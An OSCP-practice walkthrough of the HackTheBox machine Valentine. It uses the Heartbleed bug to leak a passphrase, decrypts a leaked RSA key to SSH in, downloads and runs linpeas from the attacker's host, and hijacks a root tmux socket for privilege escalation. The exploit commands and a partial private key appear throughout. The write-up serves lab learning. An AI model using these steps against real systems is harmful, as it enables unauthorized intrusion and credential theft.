Follow along in my OSCP journey, this is my target 2 of the TJNULL’s OSCP list.
How to use this walkthrough?
To avoid the typical answer on a plate type of walkthrough, I have decided to t follow the TryHackMe idea of giving you some hints along the way to help you when you struggle and keep the Try Harder mantra real.
Let’s go!
Enumeration
I use Tib3rius’ multi-threaded Autorecon which combines a couple of different tools to enumerate and scan services. It creates a simple file structure and provides you a nice overview of the services scanned.
python3 /opt/AutoRecon/autorecon.py -cs 25 -vv -o /home/kali/Documents/HTB/lab/ 10.10.10.79While it runs, I usually look at the _quick_tcp_nmap.txt file while we wait for the _full_tcp_nmap.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIMeSqrDdAOhxf7P1IDtdRqun0pO9pmUi+474hX6LHkDgC9dzcvEGyMB/cuuCCjfXn6QDd1n16dSE2zeKKjYT9RVCXJqfYvz/ROm82p0JasEdg1z6QH
TeAv70XX6cVQAjAMQoUUdF7WWKWjQuAknb4uowunpQ0yGvy72rbFkSTmlAAAAFQDwWVA5vTpfj5pUCUNFyvnhy3TdcQAAAIBFqVHk74mIT3PWKSpWcZvllKCGg5rGCCE5B3jRWEbRo8CPRkwy
Pdi/hSaoiQYhvCIkA2CWFuAeedsZE6zMFVFVSsHxeMe55aCQclfMH4iuUZWrg0y5QREuRbGFM6DATJJFkg+PXG/OsLsba/BP8UfcuPM+WGWKxjuaoJt6jeD8iQAAAIBg9rgf8NoRfGqzi+3nd
UCo9/m+T18pn+ORbCKdFGq8Ecs4QLeaXPMRIpCol11n6va090EISDPetHcaMaMcYOsFqO841K0O90BV8DhyU4JYBjcpslT+A2X+ahj2QJVGqZJSlusNAQ9vplWxofFONa+IUSGl1UsGjY0QGs
A5l5ohfQ==
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRkMHjbGnQ7uoYx7HPJoW9Up+q0NriI5g5xAs1+0gYBVtBqPxi86gPtXbMHGSrpTiX854nsOPWA8UgfBOSZ2TgWeFvmcnRfUKJG9GR8sd
IUvhKxq6ZOtUePereKr0bvFwMSl8Qtmo+KcRWvuxKS64RgUem2TVIWqStLJoPxt8iDPPM7929EoovpooSjwPfqvEhRMtq+KKlqU6PrJD6HshGdjLjABYY1ljfKakgBfWic+Y0KWKa9qdeBF09
S7WlaUBWJ5SutKlNSwcRBBVbL4ZFcHijdlXCvfVwSVMkiqY7x4V4McsNpIzHyysZUADy8A6tbfSgopaeR2UN4QRgM1dX
| 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+pCNI5Xv8P96CmyDi/EIvyL0LVZY2xAUJcA0G9rFdLJnIhjvmYuxoCQDsYl+LEiKQee5R
Rw9d+lgH3Fm5O9XI=
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).We got a web server running on port 80/443 and an SSH service
Web Server — 80/443
Let’s look at the web server. It seems we have a single beautiful retro picture …
HINT
This picture can’t be a more explicit hint to a very known vulnerability.
.
.
.
.
This the infamous heartbleed, CVE-2014–0160 which allowed you to read part of the memory of the servers running the vulnerable version of OpenSSL.
Web Enumeration
Before exploiting it, let’s check the rest of our enumeration scripts for the web servers to get a better picture of the web services.
Let’s run nmap with the ssl NSE scripts
nmap -sC -sV -p 443 --script=ssl* 10.10.10.79At the end of the output we can see
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic soft
ware library. It allows for stealing information intended to be protected by SSL/TLS encryp
tion.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) o
f OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems
protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/This confirms our strong suspicions regarding the vulnerability in place.
Let’s check the Nikto output (tcp_443_https_nikto.txt)
nikto -h http://10.10.10.79It looks like it finds an interesting folder
+ OSVDB-3268: /dev/: Directory indexing found.
+ OSVDB-3092: /dev/: This might be interesting..and Gobuster output (tcp_443_https_gobuster.txt)
/decode (Status: 200) [Size: 552]
/decode.php (Status: 200) [Size: 552]
/dev (Status: 301) [Size: 308]
/encode (Status: 200) [Size: 554]
/encode.php (Status: 200) [Size: 554] You can also add a new tool to your arsenal and try to get this results with Feroxbuster, the latest shinny thing on the block.
feroxbuster --url http://10.10.10.79 -x php,txt,html -e
Ain’t this sexy ❤ The help section has a lot of neat examples but in here we used:
- x for the extensions we want to check
- e to extend our search with links found inside the pages
It’s time to solve the puzzle!
Getting User
Let’s check the results of our enumeration. We got a bunch of URLs to check and possibly exploit heartbleed to extract some interesting information.
Let’s start with the URLs we found
If we give it some input such as test, we get back the base64 encoded value. Let’s see if we get back test, after giving the decoding page the output of the encoding? We do.
I tried messing around with the inputs looking for LFI, command execution or any unusual interaction but I got nothing back other than the expected base64 encoding/decoding.
Let’s check the dev folder and the notes file we saw!
Let’s look at these files
Nothing much in here other than pointing the finger at encode/decode as a probable path to exploitation because something that runs through these should not be done on server side.
HINT
What could this be? Could it be the output of the encoding/decoding function? Is it a format that we are familiar with?
.
.
.
.
Since the encoding/decoding seem to simply perform some kind of base64 function this isn’t anything related to it. On the other hand these values and the way they are displayed point at hexadecimal characters. Let’s transform them to ASCII
As expected from the file name, private keys are something we love to see!! But there is a caveat I missed the first time I saw this, the key is encrypted…
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46We are missing the passphrase to get the actual key and the user we’ll login with.
HINT
Did we miss a user in our enumeration or previous steps?
What is the last thing we haven’t explored yet?
.
.
.
.
We’ll first solve the passphrase and I’ll let you another opportunity to find the user. Let’s look for ways to exploit heartbleed. A quick Google search for an exploit brings this
It’s a python script with a very simple set of instructions:
- Tested on python 2.7
- The output is in the file out.txt and will be overwritten at every execution
Let’s give it a go!
python2.7 heartbleed-exploit.py valentine.htb
That’s interesting this looks like we obtained a request done to decode.php, oddly enough it is longer than the “test” string we used previously.
kali@kali:~/Documents/HTB/lab/10.10.10.79/exploit/heartbleed-PoC$ echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehypeThis seems like it could be the passphrase we are looking, let’s see if it is able to decrypt our encrypted private key. After another quick Google search we find this tutorial from Citrix. (dev_hype_key_text.txt is my ASCII output)
kali@kali:~/Documents/HTB/lab/10.10.10.79/loot$ openssl rsa -in dev_hype_key_text.txt -out dec.key
Enter pass phrase for dev_hype_key_text.txt:
writing RSA key
kali@kali:~/Documents/HTB/lab/10.10.10.79/loot$ ls
dec.key
kali@kali:~/Documents/HTB/lab/10.10.10.79/loot$ cat dec.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1FN4mXAwn3ggiDC/N+BcdmEBf0yMl6IulSOkv9WfUrGTPTUo
cFHUa95jyaHFjme0c7hG6URWS9c4JMpB35/KUdFnOpI0MOJQlRldt+4qlpRvjEhk
VTj7g0tVJmjd3Temyy+eNSzaU7HBOEWzcz4T+qQ+aSrEl+yHDLAH8mfa6X2SrnIk
tC16W00upKJK67uvzDNbtw5HH8bklvB3jupVkO7GwjC2wqfVoypgUZcTGOCY9LVL
...That worked like a charm!
We got the key now, we just need the user …
HINT
It’s been in front of your eyes all along, it’s not a usual name but if you check back the steps we have done there is a string that doesn’t add up.
.
.
.
.
The key filename is hype_key because it’s the user HYPE’s key
It’s time to SSH in! Make sure to get the right permissions on your key! Also, SSH may hang for a couple of second after you run it just give it some time.
chmod 600 dec.keyssh -i dec.key hype@10.10.10.79
The user.txt flag is in the Desktop directory.
Getting Root
The way I go about getting root is the following: I’ll look for some quick wins and then run some enumeration scripts to help me find some weaknesses.
Quick Wins
sudo -l → sudo permissions
ls -la /opt/ → looking for interesting executables or files
ls -la /var/www/; ls -la /var/www/html → possible configuration files with db pasword or even user password.
ls -la /etc/passwd; ls -la /etc/shadow → misconfigured permissions (write on passwd and read on shadow)Nothing of interest unfortunately.
Enumeration scripts
This is where we upload our linpeas, LinEnum and Exploit Suggester.
On our attacking machine
We start by setting our Simple Python HTTP Server
sudo python -m SimpleHTTPServer 80
On the victim’s machine
We look for a writable folder, wget the scripts we want, give them the right permissions and finally execute them.
cd /tmp/
wget http://attacking_ip/linpeas.sh
chmod +x linpeas.sh
./linpeas.shIt seems that nothing was outputted sometimes you need to execute it directly with bash
bash linpeash.sh --> that should workThere are a lot of interesting items in the linpeas output.
HINT
What seems to be coming back quite often in the script results?
.
.
.
.
Items relevant in the scan
[+] Operative system
Linux version 3.2.0-23-generic (buildd@crested) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ub
untu4) ) #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012[+] Cleaned processes
root 1006 0.0 0.1 26416 1672 ? Ss 11:09 0:05 /usr/bin/tmux -S /.devs/dev_sess[+] Looking for tmux sessions
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions
root 1006 0.0 0.1 26416 1672 ? Ss 11:09 0:05 /usr/bin/tmux -S /.devs/dev_sess[+] Looking for root files in home dirs (limit 20)
/home
/home/hype/.tmux.conf --> Why would that have root permissions Oo[i] read-sensitive-data
-rw------- 1 hype hype 131 Feb 16 2018 /home/hype/.bash_history
From the information gathered here there are 2 obvious possible paths of privilege escalation:
- This linux version seems to be vulnerable to dirtycow but that would be too easy.
- Tmux
The Tmux Path
Let’s start with something we noticed when looking at our directory and saw again reflected in the script
hype@Valentine:~$ ll -la /home/hype
total 144
drwxr-xr-x 21 hype hype 4096 Feb 5 2018 ./
drwxr-xr-x 3 root root 4096 Dec 11 2017 ../
-rw------- 1 hype hype 131 Feb 16 2018 .bash_history
-rw-r--r-- 1 hype hype 220 Dec 11 2017 .bash_logout
-rw-r--r-- 1 hype hype 3486 Dec 11 2017 .bashrc
drwx------ 11 hype hype 4096 Dec 11 2017 .cache/
drwx------ 9 hype hype 4096 Dec 11 2017 .config/
drwx------ 3 hype hype 4096 Dec 11 2017 .dbus/
drwxr-xr-x 2 hype hype 4096 Dec 13 2017 Desktop/
-rw-r--r-- 1 hype hype 26 Dec 11 2017 .dmrc
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Documents/
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Downloads/
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .fontconfig/
drwx------ 3 hype hype 4096 Dec 11 2017 .gconf/
drwx------ 4 hype hype 4096 Dec 11 2017 .gnome2/
-rw-rw-r-- 1 hype hype 132 Dec 11 2017 .gtk-bookmarks
drwx------ 2 hype hype 4096 Dec 11 2017 .gvfs/
-rw------- 1 hype hype 636 Dec 11 2017 .ICEauthority
drwxr-xr-x 3 hype hype 4096 Dec 11 2017 .local/
drwx------ 3 hype hype 4096 Dec 11 2017 .mission-control/
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Music/
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Pictures/
-rw-r--r-- 1 hype hype 675 Dec 11 2017 .profile
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Public/
drwx------ 2 hype hype 4096 Dec 11 2017 .pulse/
-rw------- 1 hype hype 256 Dec 11 2017 .pulse-cookie
drwx------ 2 hype hype 4096 Dec 13 2017 .ssh/
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Templates/
-rw-r--r-- 1 root root 39 Dec 13 2017 .tmux.conf
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Videos/
-rw------- 1 hype hype 0 Dec 11 2017 .Xauthority
-rw------- 1 hype hype 12173 Dec 11 2017 .xsession-errors
-rw------- 1 hype hype 9659 Dec 11 2017 .xsession-errors.oldThe history is usually the money maker from the dotfiles. Most of the time they are redirected to /dev/null but it seems we have something here.
hype@Valentine:~$ cat .bash_historyexit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
exit
Let’s read the man page and get an understanding of these commands:
-L: this allows to specify a directory where to save a server socket to allow for multiple Tmux servers running.
a -t: attach to the [-t target-session]
-S: Specify a full alternative path to the server socket
By the looks of it it seems that our user created a new socket for a new tmux server. He then attempted to attached his session to that server and finally attached himself to another socket.
Let’s try to get the full picture. We also have the tmux config file.
hype@Valentine:~$ cat .tmux.conf
run-shell ~/.clone/path/resurrect.tmux
So the configuration file simply states that it will preserve the tmux sessions from root through anything. Not sure if relevant to our priv esc ….?
Let’s go check the directory seen in .bash_history, /.devs
What can we do with it?
HINT
We can see that the SUID bit is enabled and that we have group read/write permissions, what does that mean for a tmux socket?
.
.
.
.
If you try the last command in the history or if you did a quick search on Google for “tmux for priv esc”
You would see that if “ a root /usr/bin/tmux running process that allows our group to rw” we can hijack it to get root.
All of these conditions are met, now we just need to run this:
tmux -S /.devs/dev_sessLET’s GOOO! It seems that this allows us to attach to the socket with a root session.
Let’s take the usual selfie at the end of each box to confirm the kill.
root@Valentine:/.devs# id
uid=0(root) gid=0(root) groups=0(root)
root@Valentine:/.devs# cat /root/root.txt
--------------------------------
root@Valentine:/.devs# ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:b9:fe:81
inet addr:10.10.10.79 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:fe81/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:fe81/64 Scope:Link
inet6 addr: dead:beef::4807:2e58:3507:9cd6/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:618597 errors:0 dropped:37 overruns:0 frame:0
TX packets:588099 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:94466147 (94.4 MB) TX bytes:300250710 (300.2 MB)lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:4811 errors:0 dropped:0 overruns:0 frame:0
TX packets:4811 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:865976 (865.9 KB) TX bytes:865976 (865.9 KB)
What did I learn?
- We learned about encrypted private keys and the way to obtain the public key with the passphrase
- We understood the simplicity of the hearthbleed vulnerability and the capabilities it provides us if we ever face it.
- We learned quite a lot about tmux and if you don’t use it already I would advice you to go check Ippsec’s intro video
- Finally, we learned what to look for as a privilege escalation path for Tmux.
Stream
I hope you guys enjoyed the walkthrough. Don’t hesitate to join me and struggle together on those machines on my twitch stream Wednesdays and Sundays.
